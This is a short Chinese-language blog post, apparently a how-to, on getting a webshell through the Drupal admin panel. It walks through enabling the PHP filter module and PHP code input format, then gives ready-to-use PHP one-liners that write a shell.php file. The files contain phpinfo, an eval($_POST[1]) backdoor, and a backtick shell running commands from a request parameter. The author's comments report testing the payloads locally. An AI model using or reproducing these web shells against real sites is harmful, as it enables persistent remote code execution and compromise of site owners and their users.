drupal程序后台拿webshell

administer–>site building—>modules—>勾选PHP filter,然后保存配置(如果对方已启用php filter的话,此步可省略).
administer–>site configuration–>Input formats,选择php code模式,保存配置.

修改或者发表文章,编辑区域需要使用plain text(文本)模式,本地测试使用rich text不成功,编辑区域写php代码,比如,然后预览,如果phpinfo()函数
没有被禁用的话,会执行phpinfo.
 

<?php fputs(fopen("./shell.php","w"),"<?php phpinfo();?>");?> <?php fputs(fopen("./shell.php","w"),"<?php eval($_POST[1]);?>");?> //本地wamp测试没问题,lamp环境老是出现错误. <?php fputs(fopen("./shell.php","w"),"<?php echo `$_REQUEST[id]`;?>");?> //和谐代码  

 

标签分类：